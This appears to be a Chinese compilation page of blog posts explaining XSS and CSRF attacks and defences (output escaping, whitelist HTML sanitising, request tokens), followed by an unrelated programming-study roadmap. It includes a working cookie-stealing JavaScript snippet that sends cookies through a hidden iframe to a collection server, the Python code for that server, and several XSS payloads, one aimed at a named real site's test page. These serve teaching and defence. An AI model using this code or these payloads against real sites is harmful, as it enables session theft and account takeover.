本人精通xss注入(xss实战利用)

今日搞笑 2022年05月31日
本文导读目录:

前端安全方面有没有了解?xss和csrf如何攻防

在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式。在这个年代, 参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了。但是,历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了,所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤,我一定会在模板输出时候全部转义。所以个人感觉,要避免 XSS 也是很容易的,重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ,于是找了些资料了解了一下,并与 XSS 放在一起做个比较。

XSS:脚本中的不速之客

XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。

运行预期之外的脚本带来的后果有很多中,可能只是简单的恶作剧——一个关不掉的窗口:

1

2

3

while (true) {

alert("你关不掉我~");

}

也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程,先建立一个用来收集信息的服务器:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

#!/usr/bin/env python

#-*- coding:utf-8 -*-

"""

跨站脚本注入的信息收集服务器

"""

import bottle

app = bottle.Bottle()

plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')

app.install(plugin)

@app.route('/myxss/')

def show(cookies, db):

SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'

try:

db.execute(SQL, cookies)

except:

pass

return ""

if __name__ == "__main__":

app.run()

然后在某一个页面的评论中注入这段代码:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

// 用 script type="text/javascript"/script 包起来放在评论中

(function(window, document) {

// 构造泄露信息用的 URL

var cookies = document.cookie;

var xssURIBase = "http://192.168.123.123/myxss/";

var xssURI = xssURIBase + window.encodeURI(cookies);

// 建立隐藏 iframe 用于通讯

var hideFrame = document.createElement("iframe");

hideFrame.height = 0;

hideFrame.width = 0;

hideFrame.style.display = "none";

hideFrame.src = xssURI;

// 开工

document.body.appendChild(hideFrame);

})(window, document);

于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求,是他们所看不到的。而这个请求,会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。

我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制,只能访问当前域名下的 URL,所谓不能“跨域”问题。这种做法的初衷也是防范 XSS,多多少少都起了一些作用,但不是总是有用,正如上面的注入代码,用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下,我还能用 iframe 发起 POST 请求。当然,现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截,例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功,何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将,我们也不应该把事关安全性的责任推脱给浏览器,所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的,这点对于 Web 开发者应该是常识。

正如上文所说,如果我们不需要用户输入 HTML 而只想让他们输入纯文本,那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点,Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们,我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数,Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎,那么其必自带了方便快捷的转义方式。

真正麻烦的是,在一些场合我们要允许用户输入 HTML,又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙,但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的,任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况,我个人更倾向于使用简单的方法处理,简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构,但我们并不将这些数据直接存入数据库,而是使用 HTML 解析库遍历节点,获取其中数据(之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性)。然后根据用户原有的标签属性,重新构建 HTML 元素树。构建的过程中,所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别(前面说了 HTML 不同于 XML,要求有很强的容错性),那么它不会成为漏网之鱼,因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树,我们可以拍胸脯保证——所有的标签、属性都来自白名单,一定不会遗漏。

现在看来,大多数 Web 开发者都了解 XSS 并知道如何防范,往往大型的 XSS 攻击(包括前段时间新浪微博的 XSS 注入)都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中,开启(或不要关闭)类似 Django Template、Jinja2 中“默认转义”(Auto Escape)的功能。在不需要转义的场合,我们可以用类似 的方式取消转义。这种白名单式的做法,有助于降低我们由于疏漏留下 XSS 漏洞的风险。

另外一个风险集中区域,是富 AJAX 类应用(例如豆瓣网的阿尔法城)。这类应用的风险并不集中在 HTTP 的静态响应内容,所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域,开发者不得不自己打开危险的大门。这种情况下,站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包(似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试),但我都没试用过,故不予评价。不管怎么说,我认为从用户输入的地方把好关总是成本最低而又最有效的做法。

CSRF:冒充用户之手

起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别,后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。

CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点相似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户,但前面说了,它们的攻击类型是不同维度上的分 类。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。

严格意义上来说,CSRF 不能分类为注入攻击,因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的链接都能造成 CSRF。

例如,一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问:

http://example.com/bbs/create_post.php?title=标题content=内容

那么,我只需要在论坛中发一帖,包含一链接:

http://example.com/bbs/create_post.php?title=我是脑残content=哈哈

只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。

如何解决这个问题,我们是否可以效仿上文应对 XSS 的做法呢?过滤用户输入, 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用,但阻挡不了 CSRF,因为攻击者可以通过 QQ 或其他网站把这个链接发布上去,为了伪装可能还使用 bit.ly 压缩一下网址,这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ,我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入,因为它并不属于注入攻击,而是请求伪造。被伪造的请求可以是任何来源,而非一定是站内。所以我们唯有一条路可行,就是过滤请求的 处理者。

比较头痛的是,因为请求可以从任何一方发起,而发起请求的方式多种多样,可以通过 iframe、ajax(这个不能跨域,得先 XSS)、Flash 内部发起请求(总是个大隐患)。由于几乎没有彻底杜绝 CSRF 的方式,我们一般的做法,是以各种方式提高攻击的门槛。

首先可以提高的一个门槛,就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。当然,最理想的做法是使用 REST 风格 的 API 设计,GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法,我们可以使用 ajax 提交请求(例如通过 jquery-form 插件,我最喜欢的做法),也可以使用隐藏域指定请求方法,然后用 POST 模拟 PUT 和 DELETE (Ruby on Rails 的做法)。这么一来,不同的资源操作区分的非常清楚,我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了,但他们仍可以发布表单,或者在其他站点上使用我们肉眼不可见的表单,在后台用 js 操作,伪造请求。

接下来我们就可以用比较简单也比较有效的方法来防御 CSRF,这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生,“请求令牌”和“同步令牌”原理是一样的,只不过目的不同,后者是为了解决 POST 请求重复提交问题,前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单,首先服务器端要以某种策略生成随机字符串,作为令牌(token), 保存在 Session 里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。

请求令牌虽然使用起来简单,但并非不可破解,使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意:

虽然请求令牌原理和验证码有相似之处,但不应该像验证码一样,全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的,破解方式是解析来源页面的文本,获取令牌内容。如果全局使用一个 Session Key,那么危险系数会上升。原则上来说,每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候,可以稍加封装,编写一个令牌工具包,将页面的标识作为 Session 中保存令牌的键。

在 ajax 技术应用较多的场合,因为很有请求是 JavaScript 发起的,使用静态的模版输出令牌值或多或少有些不方便。但无论如何,请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门,却又把钥匙放在门口,让我们的请求令牌退化为同步令牌。

第一点说了请求令牌理论上是可破解的,所以非常重要的场合,应该考虑使用验证码(令牌的一种升级,目前来看破解难度极大),或者要求用户再次输入密码(亚马逊、淘宝的做法)。但这两种方式用户体验都不好,所以需要产品开发者权衡。

无论是普通的请求令牌还是验证码,服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题,验证码用完并未销毁,故只要获取一次验证码图片,其中的验证码可以在多次请求中使用(只要不再次刷新验证码图片),一直用到 Session 超时。这也是为何选课系统加了验证码,外挂软件升级一次之后仍然畅通无阻。

如下也列出一些据说能有效防范 CSRF,其实效果甚微的方式甚至无效的做法。

通过 referer 判定来源页面:referer 是在 HTTP Request Head 里面的,也就是由请求的发送者决定的。如果我喜欢,可以给 referer 任何值。当然这个做法并不是毫无作用,起码可以防小白。但我觉得性价比不如令牌。

过滤所有用户发布的链接:这个是最无效的做法,因为首先攻击者不一定要从站内发起请求(上面提到过了),而且就算从站内发起请求,途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择,还不需要用户去点击,只要用户的浏览器会自动加载图片,就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户:这个方法看上去能干扰站外通过 iframe 发起的 CSRF,但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑,或者干脆脱离 iframe,使用 Flash 来达到目的。

总体来说,目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章,一般都会含有“无耻”二字来形容(另一位有该名号的貌似是 DDOS 攻击)。作为开发者,我们能做的就是尽量提高破解难度。当破解难度达到一定程度,网站就逼近于绝对安全的位置了(虽然不能到达)。上述请求令牌方法,就我 认为是最有可扩展性的,因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说,伪造的请求和正常的请求本质上是一致的。而请求令牌的方法,则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作,例如让页面中 token 的 key 动态化,进一步提高攻击者的门槛。本文只是我个人认识的一个总结,便不讨论过深了。

在xss中各种过滤的情况,在什么地方可能存在注入点

XSS注入的本质就是:某网页中根据用户的输入,不期待地生成了可执行的js代码,并且js得到了浏览器的执行.意思是说,发给浏览器的字符串中,包含了一段非法的js代码,而这段代码跟用户的输入有关.常见的XSS注入防护,可以通过简单的htmlspecialchars(转义HTML特殊字符),strip_tags(清除HTML标签)来解决,但是,还有一些隐蔽的XSS注入不能通过这两个方法来解决,而且,有时业务需要不允许清除HTML标签和特殊字符.下面列举几种隐蔽的XSS注入方法:IE6/7UTF7XSS漏洞攻击隐蔽指数:5伤害指数:5这个漏洞非常隐蔽,因为它让出现漏洞的网页看起来只有英文字母(ASCII字符),并没有非法字符,htmlspecialchars和strip_tags函数对这种攻击没有作用.不过,这个攻击只对IE6/IE7起作用,从IE8起微软已经修复了.你可以把下面这段代码保存到一个文本文件中(前面不要有空格和换行),然后用IE6打开试试(没有恶意代码,只是一个演示):+/v8+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-最容易中招的就是JSONP的应用了,解决方法是把非字母和数字下划线的字符全部过滤掉.还有一种方法是在网页开始输出空格或者换行,这样,UTF7-XSS就不能起作用了.因为只对非常老版本的IE6/IE7造成伤害,对Firefox/Chrome没有伤害,所以伤害指数只能给4颗星.参考资料:UTF7-XSS不正确地拼接JavaScript/JSON代码段隐蔽指数:5伤害指数:5Web前端程序员经常在PHP代码或者某些模板语言中,动态地生成一些JavaScript代码片段,例如最常见的:vara='!--?phpechohtmlspecialchars($name);?';不想,$name是通过用户输入的,当用户输入a’;alert(1);时,就形成了非法的JavaScript代码,也就是XSS注入了.只需要把上面的代码改成:vara=

几种极其隐蔽的XSS注入的防护

XSS注入的本质

就是: 某网页中根据用户的输入, 不期待地生成了可执行的js代码, 并且js得到了浏览器的执行. 意思是说, 发给浏览器的字符串中, 包含了一段非法的js代码, 而这段代码跟用户的输入有关.

常见的XSS注入防护, 可以通过简单的 htmlspecialchars(转义HTML特殊字符), strip_tags(清除HTML标签) 来解决, 但是, 还有一些隐蔽的XSS注入不能通过这两个方法来解决, 而且, 有时业务需要不允许清除HTML标签和特殊字符. 下面列举几种隐蔽的XSS注入方法:

IE6/7 UTF7 XSS 漏洞攻击

隐蔽指数: 5

伤害指数: 5

这个漏洞非常隐蔽, 因为它让出现漏洞的网页看起来只有英文字母(ASCII字符), 并没有非法字符, htmlspecialchars 和 strip_tags 函数对这种攻击没有作用. 不过, 这个攻击只对 IE6/IE7 起作用, 从 IE8 起微软已经修复了. 你可以把下面这段代码保存到一个文本文件中(前面不要有空格和换行), 然后用 IE6 打开试试(没有恶意代码, 只是一个演示):

+/v8 +ADw-script+AD4-alert(document.location)+ADw-/script+AD4-

最容易中招的就是 JSONP 的应用了, 解决方法是把非字母和数字下划线的字符全部过滤掉. 还有一种方法是在网页开始输出空格或者换行, 这样, UTF7-XSS 就不能起作用了.

因为只对非常老版本的 IE6/IE7 造成伤害, 对 Firefox/Chrome 没有伤害, 所以伤害指数只能给 4 颗星.

参考资料:UTF7-XSS不正确地拼接 JavaScript/JSON 代码段

隐蔽指数: 5

伤害指数: 5

Web 前端程序员经常在 PHP 代码或者某些模板语言中, 动态地生成一些 JavaScript 代码片段, 例如最常见的:

var a = '?php echo htmlspecialchars($name); ?';

不想, $name 是通过用户输入的, 当用户输入a’; alert(1); 时, 就形成了非法的JavaScript 代码, 也就是XSS 注入了.

只需要把上面的代码改成:

var a = ?php echo json_encode($name); ?;

去掉单引号, 利用 PHP 的 json_encode() 函数来生成表示字符串的字符串. 这样做是因为,

最好用 json_encode() 函数来生成所有的 JSON 串, 而不要试图自己去拼接

. 程序员总是犯这样的错误: 自己去解析 HTTP 报文, 而不是用现成的成熟的库来解析. 用 json_encode() 的好处还在于, 即使业务要求我要保留单引号时, XSS注入也可以避免.

隐蔽指数最高级, 伤害所有的通用浏览器

. 这种 XSS 注入方式具有非常重要的参考意义.

最后, 根据工作中的经验, 以及我自己和别人犯过的错, 我总结出一个定理: 没有一劳永逸的单一方法可以解决所有 XSS 注入问题.

有用的经验:输出 HTML 代码时 htmlspecialchars输出JavaScript 代码时 json_encode

输入过滤应该用于解决业务限制, 而不是用于解决 XSS 注入(与严进宽出的原则相悖, 所以本条值得讨论)讨论:上文提到的经验第3条, 是一种宽进严出的原则, 和严进宽出原则是相悖的. 其实, 我认为不应该把严进宽出作为一条伪真理, 好像除了它其它的说法都不对了似的. 宽进严出和严进宽出应该具有完全相等的地位, 根据实现的成本进行取舍.

例如, 用户的名字可以采用严进宽出原则, 不允许用户填写单引号, 大于号小于号等. 但是用户的签名呢? 难道就不能填单引号?

xss注入漏洞产生的原因?xss注入过程步骤是什么?防范xss注入的方法有哪些

对于的用户输入中出现XSS漏洞的问题,主要是由于开发人员对XSS了解不足,安全的意识不够造成的。现在让我们来普及一下XSS的一些常识,以后在开发的时候,每当有用户输入的内容时,都要加倍小心。请记住两条原则:过滤输入和转义输出。

一、什么是XSS

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性。

在WEB2.0时代,强调的是互动,使得用户输入信息的机会大增,在这个情况下,我们作为开发者,在开发的时候,要提高警惕。

二、XSS攻击的主要途径

XSS攻击方法只是利用HTML的属性,作各种的尝试,找出注入的方法。现在对三种主要方式进行分析。

第一种:对普通的用户输入,页面原样内容输出。

打开http://go.ent.163.com/goproducttest/test.jsp(限公司IP),输 入:scriptalert(‘xss’)/script, JS脚本顺利执行。当攻击者找到这种方法后,就可以传播这种链接格式的链接 (http://go.ent.163.com/goproducttest/test.jsp?key=JSCODE)如:http: //go.ent.163.com/goproducttest/test.jsp?key=scriptalert(‘xss’) lt;/script,并对JSCODE做适当伪装,如:

http://go.ent.163.com/goproducttest/test.jsp?key=%3c%73%63%72%69%70 %74%3e%61%6c%65%72%74%28%27%78%73%73%27%29%3c%2f%73%63%72%69%70%74%3e,当其 它用户当点此链接的时候,JS就运行了,造成的后果会很严重,如跳去一个有木马的页面、取得登陆用户的COOKIE等。

第二种:在代码区里有用户输入的内容

原则就是,代码区中,绝对不应含有用户输入的东西。

第三种:允许用户输入HTML标签的页面。

用户可以提交一些自定义的HTML代码,这种情况是最危险的。因为,IE浏览器默认采用的是UNICODE编码,HTML编码可以用ASCII方式来写,又可以使用”/”连接16进制字符串来写,使得过滤变得异常复杂,如下面的四个例子,都可以在IE中运行。

1,直接使用JS脚本。

img src=”javascript:alert(‘xss’)” /

2,对JS脚本进行转码。

img src=”javascript:alert(‘xss’)” /

3,利用标签的触发条件插入代码并进行转码。

img onerror=”alert(‘xss’)” /

4,使用16进制来写(可以在傲游中运行)

img STYLE=”background-image: /75/72/6c/28/6a/61/76/61/73/63/72/69/70/74/3a/61/6c/65/72/74/28/27/58/53/53/27/29/29″

以上写法等于img STYLE=”background-image: url(javascript:alert(‘XSS’))”

三、XSS攻击解决办法

请记住两条原则:过滤输入和转义输出。

具体执行的方式有以下几点:

第一、在输入方面对所有用户提交内容进行可靠的输入验证,提交内容包括URL、查询关键字、http头、post数据等

第二、在输出方面,在用户输内容中使用XMP标签。标签内的内容不会解释,直接显示。

第三、严格执行字符输入字数控制。

四、在脚本执行区中,应绝无用户输入。

javascript关于XSS注入的一些问题

xss注入的内容是给浏览器看的东西,所以只要让浏览器认为它不是需要被解析的html标签或者脚本就可以了。过滤掉'' ,或者把'',''都过滤掉,已经可以保证不会被xss注入了。但是这需要建立在你其他代码没有注入漏洞的前提下。

什么是sql注入 什么是xss注入

推荐你去百度一下OWASP,你基本上可以看到有关网络安全的全貌了 - SQL注入和xss注入是最常见的两种注入攻击

要成为一名专业的程序员,从零开始需要怎么一步步来比较好,要把最底层的先学精通吗?(个人认为)求学长

前言

你是否觉得自己从学校毕业的时候只做过小玩具一样的程序?走入职场后哪怕没有什么经验也可以把以下这些课外练习走一遍(朋友的抱怨:学校课程总是从理论出发,作业项目都看不出有什么实际作用,不如从工作中的需求出发)

建议:

不要乱买书,不要乱追新技术新名词,基础的东西经过很长时间积累而且还会在未来至少10年通用。

回顾一下历史,看看历史上时间线上技术的发展,你才能明白明天会是什么样。

一定要动手,例子不管多么简单,建议至少自己手敲一遍看看是否理解了里头的细枝末节。

一定要学会思考,思考为什么要这样,而不是那样。还要举一反三地思考。

注:你也许会很奇怪为什么下面的东西很偏Unix/Linux,这是因为我觉得Windows下的编程可能会在未来很没有前途,原因如下:

现在的用户界面几乎被两个东西主宰了,1)Web,2)移动设备iOS或Android。Windows的图形界面不吃香了。

越来越多的企业在用成本低性能高的Linux和各种开源技术来构架其系统,Windows的成本太高了。

微软的东西变得太快了,很不持久,他们完全是在玩弄程序员。详情参见《Windows编程革命史》

所以,我个人认为以后的趋势是前端是Web+移动,后端是Linux+开源。开发这边基本上没Windows什么事。

启蒙入门

1、 学习一门脚本语言,例如Python/Ruby

可以让你摆脱对底层语言的恐惧感,脚本语言可以让你很快开发出能用得上的小程序。实践项目:

处理文本文件,或者csv (关键词 python csv, python open, python sys) 读一个本地文件,逐行处理(例如 word count,或者处理log)

遍历本地文件系统 (sys, os, path),例如写一个程序统计一个目录下所有文件大小并按各种条件排序并保存结果

跟数据库打交道 (python sqlite),写一个小脚本统计数据库里条目数量

学会用各种print之类简单粗暴的方式进行调试

学会用Google (phrase, domain, use reader to follow tech blogs)

为什么要学脚本语言,因为他们实在是太方便了,很多时候我们需要写点小工具或是脚本来帮我们解决问题,你就会发现正规的编程语言太难用了。

2、 用熟一种程序员的编辑器(不是IDE) 和一些基本工具

Vim / Emacs / Notepad++,学会如何配置代码补全,外观,外部命令等。

Source Insight (或 ctag)

使用这些东西不是为了Cool,而是这些编辑器在查看、修改代码/配置文章/日志会更快更有效率。

3、 熟悉Unix/Linux Shell和常见的命令行

如果你用windows,至少学会用虚拟机里的linux, vmware player是免费的,装个Ubuntu吧

一定要少用少用图形界面。

学会使用man来查看帮助

文件系统结构和基本操作 ls/chmod/chown/rm/find/ln/cat/mount/mkdir/tar/gzip …

学会使用一些文本操作命令 sed/awk/grep/tail/less/more …

学会使用一些管理命令 ps/top/lsof/netstat/kill/tcpdump/iptables/dd…

了解/etc目录下的各种配置文章,学会查看/var/log下的系统日志,以及/proc下的系统运行信息

了解正则表达式,使用正则表达式来查找文件。

对于程序员来说Unix/Linux比Windows简单多了。(参看我四年前CSDN的博文《其实Unix很简单》)学会使用Unix/Linux你会发现图形界面在某些时候实在是太难用了,相当地相当地降低工作效率。

4、 学习Web基础(HTML/CSS/JS) + 服务器端技术 (LAMP)

未来必然是Web的世界,学习WEB基础的最佳网站是W3School。

学习HTML基本语法

学习CSS如何选中HTML元素并应用一些基本样式(关键词:box model)

学会用 Firefox + Firebug 或 chrome 查看你觉得很炫的网页结构,并动态修改。

学习使用Javascript操纵HTML元件。理解DOM和动态网页(Dynamic HTML: The Definitive Reference, 3rd Edition - O'Reilly Media) 网上有免费的章节,足够用了。或参看 DOM 。

学会用 Firefox + Firebug 或 chrome 调试Javascript代码(设置断点,查看变量,性能,控制台等)

在一台机器上配置Apache 或 Nginx

学习PHP,让后台PHP和前台HTML进行数据交互,对服务器相应浏览器请求形成初步认识。实现一个表单提交和反显的功能。

把PHP连接本地或者远程数据库 MySQL(MySQL 和 SQL现学现用够了)

跟完一个名校的网络编程课程(例如:http://www.stanford.edu/~ouster/cgi-bin/cs142-fall10/index.php ) 不要觉得需要多于一学期时间,大学生是全职一学期选3-5门课,你业余时间一定可以跟上

学习一个javascript库(例如jQuery 或 ExtJS)+ Ajax (异步读入一个服务器端图片或者数据库内容)+JSON数据格式。

HTTP: The Definitive Guide 读完前4章你就明白你每天上网用浏览器的时候发生的事情了(proxy, gateway, browsers)

做个小网站(例如:一个小的留言板,支持用户登录,Cookie/Session,增、删、改、查,上传图片附件,分页显示)

买个域名,租个空间,做个自己的网站。

进阶加深

1、 C语言和操作系统调用

重新学C语言,理解指针和内存模型,用C语言实现一下各种经典的算法和数据结构。推荐《计算机程序设计艺术》、《算法导论》和《编程珠玑》。

学习(麻省理工免费课程)计算机科学和编程导论

学习(麻省理工免费课程)C语言内存管理

学习Unix/Linux系统调用(Unix高级环境编程),,了解系统层面的东西。

用这些系统知识操作一下文件系统,用户(实现一个可以拷贝目录树的小程序)

用fork/wait/waitpid写一个多进程的程序,用pthread写一个多线程带同步或互斥的程序。多进程多进程购票的程序。

用signal/kill/raise/alarm/pause/sigprocmask实现一个多进程间的信号量通信的程序。

学会使用gcc和gdb来编程和调试程序(参看我的《用gdb调试程序》)

学会使用makefile来编译程序。(参看我的《跟我一起写makefile》)

IPC和Socket的东西可以放到高级中来实践。

学习Windows SDK编程(Windows 程序设计 ,MFC程序设计)

写一个窗口,了解WinMain/WinProcedure,以及Windows的消息机制。

写一些程序来操作Windows SDK中的资源文件或是各种图形控件,以及作图的编程。

学习如何使用MSDN查看相关的SDK函数,各种WM_消息以及一些例程。

这本书中有很多例程,在实践中请不要照抄,试着自己写一个自己的例程。

不用太多于精通这些东西,因为GUI正在被Web取代,主要是了解一下Windows 图形界面的编程。@virushuo 说:“ 我觉得GUI确实不那么热门了,但充分理解GUI工作原理是很重要的。包括移动设备开发,如果没有基础知识仍然很吃力。或者说移动设备开发必须理解GUI工作,或者在win那边学,或者在mac/iOS上学”。

2、学习Java

Java 的学习主要是看经典的Core Java 《Java 核心技术编程》和《Java编程思想》(有两卷,我仅链了第一卷,足够了,因为Java的图形界面了解就可以了)

学习JDK,学会查阅Java API Doc Java Platform SE 6

了解一下Java这种虚拟机语言和C和Python语言在编译和执行上的差别。从C、Java、Python思考一下“跨平台”这种技术。

学会使用IDE Eclipse,使用Eclipse 编译,调试和开发Java程序。

建一个Tomcat的网站,尝试一下JSP/Servlet/JDBC/MySQL的Web开发。把前面所说的那个PHP的小项目试着用JSP和Servlet实现一下。

3、Web的安全与架构

学习HTML5,网上有很多很多教程,以前酷壳也介绍过很多,我在这里就不罗列了。

学习Web开发的安全问题(参考新浪微博被攻击的这个事,以及Ruby的这篇文章)

学习HTTP Server的rewrite机制,Nginx的反向代理机制,fast-cgi(如:PHP-FPM)

学习Web的静态页面缓存技术。

学习Web的异步工作流处理,数据Cache,数据分区,负载均衡,水平扩展的构架。

实践任务:

使用HTML5的canvas 制作一些Web动画。

尝试在前面开发过的那个Web应用中进行SQL注入,JS注入,以及XSS攻击。

把前面开发过的那个Web应用改成构造在Nginx + PHP-FPM + 静态页面缓存的网站

4、学习关系型数据库

你可以安装MSSQLServer或MySQL来学习数据库。

学习教科书里数据库设计的那几个范式,1NF,2NF,3NF,……

学习数据库的存过,触发器,视图,建索引,游标等。

学习SQL语句,明白表连接的各种概念(参看《SQL Join的图示》)

学习如何优化数据库查询(参看《MySQL的优化》)

实践任务:设计一个论坛的数据库,至少满足3NF,使用SQL语句查询本周,本月的最新文章,评论最多的文章,最活跃用户。

5、一些开发工具

学会使用SVN或Git来管理程序版本。

学会使用JUnit来对Java进行单元测试。

学习C语言和Java语言的coding standard 或 coding guideline。(我N年前写过一篇关C语言非常简单的文章——《编程修养》,这样的东西你可以上网查一下,一大堆)。

推荐阅读《代码大全》《重构》《代码整洁之道》

高级深入

1、C++ / Java 和面向对象

我个人以为学好C++,Java也就是举手之劳。但是C++的学习曲线相当的陡。不过,我觉得C++是最需要学好的语言了。参看两篇趣文“C++学习信心图” 和“21天学好C++”

学习(麻省理工免费课程)C++面向对象编程

读我的 “如何学好C++”中所推荐的那些书至少两遍以上(如果你对C++的理解能够深入到像我所写的《C++虚函数表解析》或是《C++对象内存存局(上)(下)》,或是《C/C++返回内部静态成员的陷阱》那就非常不错了)

然后反思为什么C++要干成这样,Java则不是?你一定要学会对比C++和Java的不同。比如,Java中的初始化,垃圾回收,接口,异常,虚函数,等等。

实践任务:

用C++实现一个BigInt,支持128位的整形的加减乘除的操作。

用C++封装一个数据结构的容量,比如hash table。

用C++封装并实现一个智能指针(一定要使用模板)。

《设计模式》必需一读,两遍以上,思考一下,这23个模式的应用场景。主要是两点:1)钟爱组合而不是继承,2)钟爱接口而不是实现。(也推荐《深入浅出设计模式》)

实践任务:

使用工厂模式实现一个内存池。

使用策略模式制做一个类其可以把文本文件进行左对齐,右对齐和中对齐。

使用命令模式实现一个命令行计算器,并支持undo和redo。

使用修饰模式实现一个酒店的房间价格订价策略——旺季,服务,VIP、旅行团、等影响价格的因素。

学习STL的用法和其设计概念 - 容器,算法,迭代器,函数子。如果可能,请读一下其源码。

实践任务:尝试使用面向对象、STL,设计模式、和WindowsSDK图形编程的各种技能

做一个贪吃蛇或是俄罗斯方块的游戏。支持不同的级别和难度。

做一个文件浏览器,可以浏览目录下的文件,并可以对不同的文件有不同的操作,文本文件可以打开编辑,执行文件则执行之,mp3或avi文件可以播放,图片文件可以展示图片。

学习C++的一些类库的设计,如: MFC(看看候捷老师的《深入浅出MFC》) ,Boost, ACE, CPPUnit,STL (STL可能会太难了,但是如果你能了解其中的设计模式和设计那就太好了,如果你能深入到我写的《STL string类的写时拷贝技术》那就非常不错了,ACE需要很强在的系统知识,参见后面的“加强对系统的了解”)

Java是真正的面向对象的语言,Java的设计模式多得不能再多,也是用来学习面向对象的设计模式的最佳语言了(参看Java中的设计模式)。

推荐阅读《Effective Java》 and 《Java解惑》

学习Java的框架,Java的框架也是多,如Spring, Hibernate,Struts 等等,主要是学习Java的设计,如IoC等。

Java的技术也是烂多,重点学习J2EE架构以及JMS, RMI, 等消息传递和远程调用的技术。

学习使用Java做Web Service (官方教程在这里)

